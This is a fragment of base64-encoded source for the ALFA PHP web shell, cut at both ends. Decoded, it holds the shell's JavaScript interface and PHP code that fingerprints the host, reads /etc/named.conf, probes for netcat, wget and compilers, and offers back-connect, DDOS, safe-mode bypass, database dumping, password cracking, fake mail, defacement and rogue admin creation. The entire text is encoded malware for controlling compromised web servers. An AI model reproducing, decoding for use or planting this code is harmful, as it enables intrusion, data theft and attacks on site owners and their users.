JFZGl0b3IiKX1mdW5jdGlvbiBlbmNyeXB0KGUsYSl7aWYobnVsbD09YXx8YS5sZW5ndGg8PTApcmV0dXJuIG51bGw7ZT1hbGZhYjY0KGUsITApLGE9YWxmYWI2NChhLCEwKTtmb3IodmFyIHQ9IiIsaT0iIixsPTA7bDxlLmxlbmd0aDspZm9yKHZhciBvPTA7bzxhLmxlbmd0aCYmKHQ9ZS5jaGFyQ29kZUF0KGwpXmEuY2hhckNvZGVBdChvKSxpKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHQpLCEoKytsPj1lLmxlbmd0aCkpO28rKyk7cmV0dXJuIGFsZmFiNjQoaSwhMCl9ZnVuY3Rpb24gcmVsb2FkU2V0dGluZyhlKXtyZXR1cm4gYWxmYWxvYWRlcihhbGZhX2JlZm9yZV9kb19hY3Rpb25faWQsImJsb2NrIiksX0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJzZXR0aW5ncyIpKyImYWxmYTE9IithbGZhYjY0KGUucHJvdGVjdC52YWx1ZSkrIiZhbGZhMj0iK2FsZmFiNjQoZS5sZ3BhZ2UudmFsdWUpKyImYWxmYTM9IithbGZhYjY0KGUudXNlcm5hbWUudmFsdWUpKyImYWxmYTQ9IithbGZhYjY0KGUucGFzc3dvcmQudmFsdWUpKyImYWxmYTU9IithbGZhYjY0KCI+PiIpKyImYWxmYTY9IithbGZhYjY0KGUuaWNvbi52YWx1ZSkrIiZhbGZhNz0iK2FsZmFiNjQoZS5wb3N0X2VuY3J5cHQudmFsdWUpKyImYWxmYTg9IithbGZhYjY0KCJtYWluIikrIiZhbGZhOT0iK2FsZmFiNjQoZS5jZ2lfYXBpLnZhbHVlKSsiJmM9IithbGZhYjY0KGNfKSsiJmFqYXg9IithbGZhYjY0KCJ0cnVlIiksZnVuY3Rpb24oZSxhKXtsb2FkUG9wVXBPcFRpb25zKGEsZSksZXZhbEpTKGUpLGFsZmFsb2FkZXIoYSwibm9uZSIpfSwhMSxhbGZhX2JlZm9yZV9kb19hY3Rpb25faWQpLGFsZmFfYmVmb3JlX2RvX2FjdGlvbl9pZD0iIiwwPT1lLmUudmFsdWUmJjE9PWUucHJvdGVjdC52YWx1ZSYmc2V0VGltZW91dCgibG9jYXRpb24ucmVsb2FkKCkiLDFlMyksZS5zLnZhbHVlIT1lLmljb24udmFsdWUmJnNldFRpbWVvdXQoImxvY2F0aW9uLnJlbG9hZCgpIiwxZTMpLCExfWZ1bmN0aW9uIHJlbG9hZENvbG9ycyhlKXt2YXIgYT17fTt2b2lkIDA9PT1lP2QucXVlcnlTZWxlY3RvckFsbCgiLmNvbG9yc19pbnB1dCIpLmZvckVhY2goZnVuY3Rpb24oZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoInRhcmdldCIpLnJlcGxhY2UoIi4iLCIiKTthW3RdPWUudmFsdWV9KTphPWU7dmFyIHQ9JCgidXNlX2RlZmF1bHRfY29sb3IiKS5jaGVja2VkPyIxIjoiMCI7X0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJzZXR0aW5ncyIpKyImYWxmYTE9IithbGZhYjY0KEpTT04uc3RyaW5naWZ5KGEpKSsiJmFsZmEyPSIrYWxmYWI2NCgiPj4iKSsiJmFsZmEzPSIrYWxmYWI2NCh0KSsiJmFsZmE4PSIrYWxmYWI2NCgiY29sb3IiKSsiJmM9IithbGZhYjY0KGNfKSsiJmFqYXg9IithbGZhYjY0KCJ0cnVlIiksZnVuY3Rpb24oZSl7ZXZhbEpTKGUpfSwhMCl9ZnVuY3Rpb24gYWxmYWI2NChlLGEpe3JldHVybiB2b2lkIDAhPT1hfHwwPT1wb3N0X2VuY3J5cHRpb25fbW9kZT93aW5kb3cuYnRvYSh1bmVzY2FwZShlbmNvZGVVUklDb21wb25lbnQoZSkpKTplbmNyeXB0KGUsIjw/cGhwIGVjaG8gX19BTEZBX1NFQ1JFVF9LRVlfXzsgPz4iKX1mdW5jdGlvbiBldmFsQ3NzKGUpe3ZhciBhPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInN0eWxlIik7YS5zdHlsZVNoZWV0P2Euc3R5bGVTaGVldC5jc3NUZXh0PWU6YS5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVUZXh0Tm9kZShlKSksZC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLmFwcGVuZENoaWxkKGEpfWZ1bmN0aW9uIGNvbG9ySGFuZGxlcktleShlKXtzZXRUaW1lb3V0KGZ1bmN0aW9uKGEpe2NvbG9ySGFuZGxlcihlKX0sMjAwKX1mdW5jdGlvbiBjb2xvckhhbmRsZXIoZSl7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoInRhcmdldCIpLHQ9ZS5nZXRBdHRyaWJ1dGUoIm11bHRpIiksbD1hLmluZGV4T2YoIjpob3ZlciIpO2lmKHQpe3ZhciBvPUpTT04ucGFyc2UoYXRvYih0KSkscj0iIjtmb3IoaSBpbiBvLm11bHRpX3NlbGVjdG9yKXIrPWkrInsiK28ubXVsdGlfc2VsZWN0b3JbaV0ucmVwbGFjZSgve2NvbG9yfS9nLGUudmFsdWUpKyJ9IjtldmFsQ3NzKHIpfS0xPT1sfHx0PygkKCJpbnB1dF8iK2EucmVwbGFjZSgiLiIsIiIpKS52YWx1ZT1lLnZhbHVlLCQoImd1aV8iK2EucmVwbGFjZSgiLiIsIiIpKS52YWx1ZT1lLnZhbHVlLCIuaGVhZGVyX3ZhbHVlcyI9PWEmJihhPSIuaGVhZGVyLC5oZWFkZXJfdmFsdWVzIiksZC5xdWVyeVNlbGVjdG9yQWxsKGEpLmZvckVhY2goZnVuY3Rpb24oYSl7YS5zdHlsZS5jb2xvcj1lLnZhbHVlfSkpOigkKCJpbnB1dF8iK2EucmVwbGFjZSgiLiIsIiIpKS52YWx1ZT1lLnZhbHVlLCQoImd1aV8iK2EucmVwbGFjZSgiLiIsIiIpKS52YWx1ZT1lLnZhbHVlLGV2YWxDc3MoYSsie2NvbG9yOiAiK2UudmFsdWUrIjt9IikpfWZ1bmN0aW9uIGltcG9ydENvbmZpZyhlKXt2YXIgYT1lLnRhcmdldCx0PW5ldyBGaWxlUmVhZGVyO3Qub25sb2FkPWZ1bmN0aW9uKCl7dmFyIGU9dC5yZXN1bHQ7dHJ5e3JlbG9hZENvbG9ycyhKU09OLnBhcnNlKGUpKX1jYXRjaChlKXthbGVydCgiQ29uZmlnIGlzIGludmFsaWQuLi4hIil9JCgiaW1wb3J0RmlsZUJ0biIpLnZhbHVlPSIifSx0LnJlYWRBc1RleHQoYS5maWxlc1swXSl9ZnVuY3Rpb24gY2hlY2tCb3goZSl7dmFyIGE9YWxmYV9jdXJyZW50X2ZtX2lkLHQ9ZS5jaGVja2VkO2QucXVlcnlTZWxlY3RvckFsbCgiI2ZpbGVzbWFuX2hvbGRlcl8iK2ErIiBmb3JtW25hbWU9ZmlsZXNdIGlucHV0W3R5cGU9Y2hlY2tib3hdIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmNoZWNrZWQ9dH0pfWZ1bmN0aW9uIHJ1bmNnaShlKXtpZigkKCJjZ2lmcmFtZSIpLnN0eWxlLmhlaWdodD0idW5zZXQiLGQucXVlcnlTZWxlY3RvcigiI2NnaWxvYWRlci1taW5pbWl6ZWQgLm1pbmltaXplZC10ZXh0IikuaW5uZXJIVE1MPSJDZ2kgU2hlbGwiLGQucXVlcnlTZWxlY3RvcigiI2NnaWxvYWRlciAub3B0LXRpdGxlIikuaW5uZXJIVE1MPSJDZ2kgU2hlbGwiLGNnaV9pc19taW5pbWl6ZWQmJmNnaV9sYW5nPT1lJiYoc2hvd0VkaXRvcigiY2dpbG9hZGVyIiksMD09cGhwX3RlbXJpbmFsX3VzaW5nX2NnaSkpcmV0dXJuITE7cGhwX3RlbXJpbmFsX3VzaW5nX2NnaT0hMSxfQWpheChkLlVSTCwiYT0iK2FsZmFiNjQoImNnaXNoZWxsIikrIiZhbGZhMT0iK2FsZmFiNjQoZSkrIiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpLGZ1bmN0aW9uKGEpe2QuYm9keS5zdHlsZS5vdmVyZmxvdz0iaGlkZGVuIiwkKCJjZ2lsb2FkZXIiKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsZC5xdWVyeVNlbGVjdG9yKCIjY2dpZnJhbWUgLnRlcm1pbmFsLXRhYnMiKS5pbm5lckhUTUw9IiIsZC5xdWVyeVNlbGVjdG9yKCIjY2dpZnJhbWUgLnRlcm1pbmFsLWNvbnRlbnRzIikuaW5uZXJIVE1MPWEsY2dpX2xhbmc9ZSxjZ2lfaXNfbWluaW1pemVkJiYoJCgiY2dpbG9hZGVyLW1pbmltaXplZCIpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJtaW5pbWl6ZWQtaGlkZSIpLHNldFRpbWVvdXQoZnVuY3Rpb24oKXskKCJjZ2lsb2FkZXIiKS5yZW1vdmVBdHRyaWJ1dGUoImNsYXNzIiksaXNfbWluaW1pemVkJiYoJCgiZWRpdG9yLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iMzAlIil9LDFlMykpfSl9RWxlbWVudC5wcm90b3R5cGUuYXBwZW5kQWZ0ZXI9ZnVuY3Rpb24oZSl7ZS5wYXJlbnROb2RlLmluc2VydEJlZm9yZSh0aGlzLGUubmV4dFNpYmxpbmcpfTsKPC9zY3JpcHQ+Cjw/cGhwIGVjaG8iPGZvcm0gc3R5bGU9J2Rpc3BsYXk6bm9uZTsnIGlkPSdkbEZvcm0nIGFjdGlvbj0nJyB0YXJnZXQ9J19ibGFuaycgbWV0aG9kPSdwb3N0Jz4KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2RsZmlsZSc+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2MnIHZhbHVlPScnPgo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdmaWxlJyB2YWx1ZT0nJz4KPC9mb3JtPgo8aW5wdXQgdHlwZT0nZmlsZScgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnIGlkPSdpbXBvcnRGaWxlQnRuJyBvbmNoYW5nZT0naW1wb3J0Q29uZmlnKGV2ZW50KTsnPgo8ZGl2IGlkPSdhX2xvYWRlcic+PGltZyBzcmM9JyIuX19zaG93aWNvbignbG9hZGVyJykuIic+PC9kaXY+IjsKJGNtZF91bmFtZSA9IGFsZmFFeCgidW5hbWUgLWEiLGZhbHNlLGZhbHNlKTsKJHVuYW1lID0gZnVuY3Rpb25fZXhpc3RzKCdwaHBfdW5hbWUnKSA/IHN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkgOiAoc3RybGVuKCRjbWRfdW5hbWUpPjA/JGNtZF91bmFtZTonKCBwaHBfdW5hbWUgKSBGdW5jdGlvbiBEaXNhYmxlZCAhJyk7CmlmKCR1bmFtZT09IiggcGhwX3VuYW1lICkgRnVuY3Rpb24gRGlzYWJsZWQgISIpeyRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXT0idHJ1ZSI7fQplY2hvICcKPC9oZWFkPgo8Ym9keSBiZ2NvbG9yPSIjMDAwMDAwIiBsZWZ0bWFyZ2luPSIwIiB0b3BtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8ZGl2IGlkPSJ1cF9iYXJfaG9sZGVyIj48L2Rpdj4KPGRpdiBjbGFzcz0id2hvbGUiPgo8Zm9ybSBtZXRob2Q9InBvc3QiIG5hbWU9Im1mIiBzdHlsZT0iZGlzcGxheTpub25lOyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjIiB2YWx1ZT0iJy4kR0xPQkFMU1snY3dkJ10uJyI+JzsKZm9yKCRzPTE7JHM8PTEwOyRzKyspewplY2hvICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhbGZhJy4kcy4nIj4nOwp9CmVjaG8gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNoYXJzZXQiPgo8L2Zvcm0+CjxkaXYgaWQ9XCdoaWRkZW5fc2hcJz48YSBjbGFzcz0iYWxlcnRfZ3JlZW4iIHRhcmdldD0iX2JsYW5rIiBocmVmPSI/c29sZXZpc2libGUiPjxzcGFuIHN0eWxlPSJjb2xvcjojNDJmZjU5OyI+Jy5fX0FMRkFfQ09ERV9OQU1FX18uJzwvc3Bhbj48YnI+PHNtYWxsPlZlcnNpb246IDxzcGFuIGNsYXNzPSJoaWRkZW5fc2hlbGxfdmVyc2lvbiI+Jy5fX0FMRkFfVkVSU0lPTl9fLic8L3NwYW4+PC9zbWFsbD48L2E+PC9kaXY+CjxkaXYgY2xhc3M9ImhlYWRlciI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiPgo8dHI+Cjx0ZCB3aWR0aD0iMyUiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+VW5hbWU6PC9zcGFuPjwvdGQ+Cjx0ZCBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgaWQ9ImhlYWRlcl91bmFtZSI+Jy4kdW5hbWUuJzwvc3Bhbj48L3RkPgo8L3RyPgo8dHI+Cjx0ZD48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlVzZXI6PC9zcGFuPjwvdGQ+Cjx0ZD48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgaWQ9ImhlYWRlcl91c2VyaWQiPicuICR1aWQgLiAnIFsgJyAuICR1c2VyIC4gJyBdIDwvc3Bhbj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBHcm91cDogPC9zcGFuPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBpZD0iaGVhZGVyX2dyb3VwaWQiPicgLiAkZ2lkIC4gJyBbICcgLiAkZ3JvdXAgLiAnIF08L3NwYW4+IDwvdGQ+Cjx0ZCB3aWR0aD0iMTIlIiByb3dzcGFuPSI4Ij48aW1nIHN0eWxlPSJib3JkZXItcmFkaXVzOjEwMHB4OyIgd2lkdGg9IjMwMCIgaGVpZ2h0PSIxNzAiIGFsdD0iYWxmYSB0ZWFtIDIwMTIiIGRyYWdnYWJsZT0iZmFsc2UiIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pbWFnZXMvYWxmYS1pcmFuLnBuZyIgLz48L3RkPgo8L3RyPgo8dHI+Cjx0ZD48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlBIUDo8L3NwYW4+PC90ZD4KPHRkPjxiPicuQHBocHZlcnNpb24oKS4gJyA8L2I+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj4gU2FmZSBNb2RlOiAnLiRzYWZlX21vZGVzLic8L3NwYW4+PC90ZD4KPC90cj4KPHRyPgo8dGQ+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5TZXJ2ZXJJUDo8L3NwYW4+PC90ZD4KPHRkPjxiPicuKCFAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0/KGZ1bmN0aW9uX2V4aXN0cygiZ2V0aG9zdGJ5bmFtZSIpP0BnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKTonPz8/PycpOkAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXSkuJzwvYj48ZGl2IHN0eWxlPSJkaXNwbGF5OmlubGluZTtkaXNwbGF5Om5vbmU7IiBjbGFzcz0iZmxhZy1ob2xkZXIiPjwvZGl2PiA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPllvdXIgSVA6PC9zcGFuPjxiPiAnLkAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXS4nPC9iPjxkaXYgc3R5bGU9ImRpc3BsYXk6aW5saW5lO2Rpc3BsYXk6bm9uZTsiIGNsYXNzPSJmbGFnLWhvbGRlciI+PC9kaXY+PC90ZD4KPC90cj4KPHRyPgo8dGQgd2lkdGg9IjMlIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkRhdGVUaW1lOjwvc3Bhbj48L3RkPgo8dGQgY29sc3Bhbj0iMiI+PGI+Jy5kYXRlKCdZLW0tZCBIOmk6cycpLic8L2I+PC90ZD4KPC90cj4KPHRyPgo8dGQ+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Eb21haW5zOjwvc3Bhbj48L3RkPgo8dGQgd2lkdGg9Ijc2JSI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIGlkPSJoZWFkZXJfZG9tYWlucyI+JzsKaWYoJEdMT0JBTFNbJ3N5cyddPT0ndW5peCcpewokZDBtYWlucyA9IF9hbGZhX2ZpbGUoIi9ldGMvbmFtZWQuY29uZiIsZmFsc2UpOwppZighJGQwbWFpbnMpe2VjaG8gIkNhbnQgUmVhZCBbIC9ldGMvbmFtZWQuY29uZiBdIjskR0xPQkFMU1sibmVlZF90b191cGRhdGVfaGVhZGVyIl09InRydWUiO31lbHNlewokY291bnQ9MDsKZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKXsKaWYoQHN0cnN0cigkZDBtYWluLCJ6b25lIikpewpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsKZmx1c2goKTsKaWYoc3RybGVuKHRyaW0oJGRvbWFpbnNbMV1bMF0pKSA+IDIpewpmbHVzaCgpOwokY291bnQrKzt9fX0KZWNobyAiJGNvdW50IERvbWFpbnMiO319CmVsc2V7ZWNobygiQ2FudCBSZWFkIFsgL2V0Yy9uYW1lZC5jb25mIF0iKTt9CmVjaG8gJzwvc3Bhbj48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBoZWlnaHQ9IjE2Ij48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkhERDo8L3NwYW4+PC90ZD4KPHRkPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+VG90YWw6PC9zcGFuPjxiPicuYWxmYVNpemUoJHRvdGFsU3BhY2UpLicgPC9iPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RnJlZTo8L3NwYW4+PGI+JyAuIGFsZmFTaXplKCRmcmVlU3BhY2UpIC4gJyBbJy4gKGludCkgKCRmcmVlU3BhY2UvJHRvdGFsU3BhY2UqMTAwKSAuICclXTwvYj48L3RkPgo8L3RyPic7CmlmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnKXsKJHVzZWZ1bF9kb3dubG9hZGVyID0gJzx0cj48dGQgaGVpZ2h0PSIxOCIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj51c2VmdWw6PC9zcGFuPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBpZD0iaGVhZGVyX3VzZWZ1bCI+LS0tLS0tLS0tLS0tLS08L3NwYW4+PC90ZD48L3RyPjx0ZCBoZWlnaHQ9IjAiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RG93bmxvYWRlcjogPC9zcGFuPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBpZD0iaGVhZGVyX2Rvd25sb2FkZXIiPi0tLS0tLS0tLS0tLS0tPC9zcGFuPjwvdGQ+PC90cj4nOwppZighQGluaV9nZXQoJ3NhZmVfbW9kZScpKXsKaWYoc3RybGVuKGFsZmFFeCgiaWQiLGZhbHNlLGZhbHNlKSk+MCl7CmVjaG8gJzx0cj48dGQgaGVpZ2h0PSIxOCIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Vc2VmdWwgOiA8L3NwYW4+JzsKJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppYWxmYTInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7CiR4PTA7CmZvcmVhY2goJHVzZXJmdWwgYXMgJGl0ZW0paWYoYWxmYVdoaWNoKCRpdGVtKSl7JHgrKztlY2hvICc8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgc3R5bGU9Im1hcmdpbi1sZWZ0OiA0cHg7Ij4nLiRpdGVtLic8L3NwYW4+Jzt9CmlmKCR4PT0wKXtlY2hvICI8c3BhbiBjbGFzcz0naGVhZGVyX3ZhbHVlcycgaWQ9J2hlYWRlcl91c2VmdWwnPi0tLS0tLS0tLS0tLS0tPC9zcGFuPiI7JEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdID0gInRydWUiO30KZWNobyAnPC90ZD4KPC90cj4KPHRyPgo8dGQgaGVpZ2h0PSIwIiBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkRvd25sb2FkZXI6IDwvc3Bhbj4nOwokZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsKJHg9MDsKZm9yZWFjaCgkZG93bmxvYWRlcnMgYXMgJGl0ZW0yKWlmKGFsZmFXaGljaCgkaXRlbTIpKXskeCsrO2VjaG8gJzxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDRweDsiPicuJGl0ZW0yLic8L3NwYW4+Jzt9CmlmKCR4PT0wKXtlY2hvICI8c3BhbiBjbGFzcz0naGVhZGVyX3ZhbHVlcycgaWQ9J2hlYWRlcl9kb3dubG9hZGVyJz4tLS0tLS0tLS0tLS0tLTwvc3Bhbj4iOyRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXSA9ICJ0cnVlIjt9CmVjaG8gJzwvdGQ+CjwvdHI+JzsKfWVsc2V7CmVjaG8gJHVzZWZ1bF9kb3dubG9hZGVyOyRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXSA9ICJ0cnVlIjsKfQp9ZWxzZXsKZWNobyAkdXNlZnVsX2Rvd25sb2FkZXI7JEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdID0gInRydWUiOwp9Cn1lbHNlewplY2hvICc8dHI+PHRkIGhlaWdodD0iMTgiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+V2luZG93czo8L3NwYW4+PGI+JzsKZWNobyBhbGZhRXgoJ3ZlcicsZmFsc2UsZmFsc2UpOwplY2hvICc8L3RkPgo8L3RyPiA8dHI+Cjx0ZCBoZWlnaHQ9IjAiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RG93bmxvYWRlcjogPC9zcGFuPjxiPi0tLS0tLS0tLS0tLS08L2I+PC90ZD4KPC90cj48L2I+JzsKfQokcXVvdGVzID0gKGZ1bmN0aW9uX2V4aXN0cygnZ2V0X21hZ2ljX3F1b3Rlc19ncGMnKT9nZXRfbWFnaWNfcXVvdGVzX2dwYygpOicwJyk7aWYgKCRxdW90ZXMgPT0gIjEiIG9yICRxdW90ZXMgPT0gIm9uIil7JG1hZ2ljID0gJzxiPjxzcGFuIGNsYXNzPSJoZWFkZXJfb24iPk9OPC9zcGFuPic7fWVsc2V7JG1hZ2ljID0gJzxzcGFuIGNsYXNzPSJoZWFkZXJfb2ZmIj5PRkY8L3NwYW4+Jzt9CmVjaG8gJzx0cj4KPHRkIGhlaWdodD0iMTYiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RGlzYWJsZSBGdW5jdGlvbnM6IDwvc3Bhbj48Yj4nLkFsZmFfR2V0RGlzYWJsZV9GdW5jdGlvbigpLic8L2I+PC90ZD4KPC90cj4KPHRyPgo8dGQgaGVpZ2h0PSIxNiIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5DVVJMIDo8L3NwYW4+Jy4kY3VybC4nIHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5TU0gyIDogPC9zcGFuPicuJHNzaDIuJyB8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+TWFnaWMgUXVvdGVzIDogPC9zcGFuPicuJG1hZ2ljLicgfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBNeVNRTCA6PC9zcGFuPicuJG15c3FsLicgfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPk1TU1FMIDo8L3NwYW4+Jy4kbXNzcWwuJyB8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+IFBvc3RncmVTUUwgOjwvc3Bhbj4nLiRwZy4nIHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj4gT3JhY2xlIDo8L3NwYW4+Jy4kb3IuJyAnLigkR0xPQkFMU1snc3lzJ109PSJ1bml4Ij8nfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBDR0kgOjwvc3Bhbj4gJy4kY2dpX3NoZWxsOiIiKS4nPC90ZD48dGQgd2lkdGg9IjE1JSI+PGRpdiBpZD0iYWxmYV9zb2xldmlzaWJsZSI+PGNlbnRlcj48YSBocmVmPSJodHRwczovL3QubWUvc29sZXZpc2libGUiIHRhcmdldD0iX2JsYW5rIj48c3Bhbj48Zm9udCBjbGFzcz0ic29sZXZpc2libGUtdGV4dCIgY29sb3I9IiMwRjAiPlNvbGUgU2FkICYgSW52aXNpYmxlPC9mb250Pjwvc3Bhbj48L2E+PC9jZW50ZXI+PC9kaXY+PC90ZD4KPC90cj4KPHRyPgo8dGQgaGVpZ2h0PSIxMSIgY29sc3Bhbj0iMyI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5PcGVuX2Jhc2VkaXIgOjwvc3Bhbj48Yj4nLiRvcGVuX2IuJzwvYj4gfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlNhZmVfbW9kZV9leGVjX2RpciA6PC9zcGFuPjxiPicuJHNhZmVfZXhlLic8L2I+IHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj4gU2FmZV9tb2RlX2luY2x1ZGVfZGlyIDo8L3NwYW4+PC9iPicuJHNhZmVfaW5jbHVkZS4nPC9iPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGhlaWdodD0iMTEiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+U29mdFdhcmU6IDwvc3Bhbj48L3RkPgo8dGQgY29sc3Bhbj0iMiI+PGI+Jy5AZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKS4nPC9iPjwvdGQ+CjwvdHI+JzsKaWYoJEdMT0JBTFNbJ3N5cyddPT0id2luIil7CmVjaG8gJzx0cj4KPHRkIGhlaWdodD0iMTIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RFJJVkU6PC9zcGFuPjwvdGQ+Cjx0ZCBjb2xzcGFuPSIyIj48Yj4nLiRkcml2ZXMuJzwvYj48L3RkPgo8L3RyPic7Cn0KZWNobyAnPHRyPgo8dGQgaGVpZ2h0PSIxMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5QV0Q6PC9zcGFuPjwvdGQ+Cjx0ZCBjb2xzcGFuPSIyIj48c3BhbiBpZD0iaGVhZGVyX2N3ZCI+Jy4kY3dkX2xpbmtzLicgPC9zcGFuPjxhIGhyZWY9IiNhY3Rpb249ZmlsZW1hbiZwYXRoPScuJEdMT0JBTFNbJ2hvbWVfY3dkJ10uJyIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnIC4gJEdMT0JBTFNbJ2hvbWVfY3dkJ10gLiAnXCcsXCdcJyxcJ1wnLFwnXCcpIj48c3BhbiBjbGFzcz0iaG9tZV9zaGVsbCI+WyBIb21lIFNoZWxsIF08L3NwYW4+IDwvYT48L3RkPgo8L3RyPgo8L3RhYmxlPgo8L2Rpdj4KPGRpdiBpZD0ibWV1bmxpc3QiPgo8dWw+Cic7CiRsaSA9IGFycmF5KCdwcm9jJz0+J1Byb2Nlc3MnLCdwaHBldmFsJz0+J0V2YWwnLCdzcWwnPT4nU1FMIE1hbmFnZXInLCdkdW1wZXInPT4nRGF0YWJhc2UgRHVtcGVyJywnY29sZHVtcGVyJz0+J0NvbHVtbiBEdW1wZXInLCdoYXNoJz0+J0VuLURlY29kZXInLCdjb25uZWN0Jz0+J0JDJywKJ3pvbmVoJz0+J1pPTkUtSCcsJ2Rvcyc9PidERE9TJywnc2FmZSc9PidCeVBhc3NlcicsJ2NnaXNoZWxsJz0+J0NnaSBTaGVsbCcsJ3NzaVNoZWxsJz0+J1NTSSBTSEVMTCcsJ2NwY3JhY2snPT4nSGFzaCBUb29scycsCidwb3J0c2Nhbm5lcic9PidQb3J0IFNjYW5lcicsJ2Jhc2VkaXInPT4nT3BlbiBCYXNlRGlyJywnbWFpbCc9PidGYWtlIE1haWwnLCd6aXBlcic9PidDb21wcmVzc29yJywnZGV6aXBlcic9PidEZUNvbXByZXNzb3InLCdJbmRleENoYW5nZXInPT4nSW5kZXggQ2hhbmdlcicsJ3B3Y2hhbmdlcic9PidBZGQgTmV3IEFkbWluJywnU2hlbGx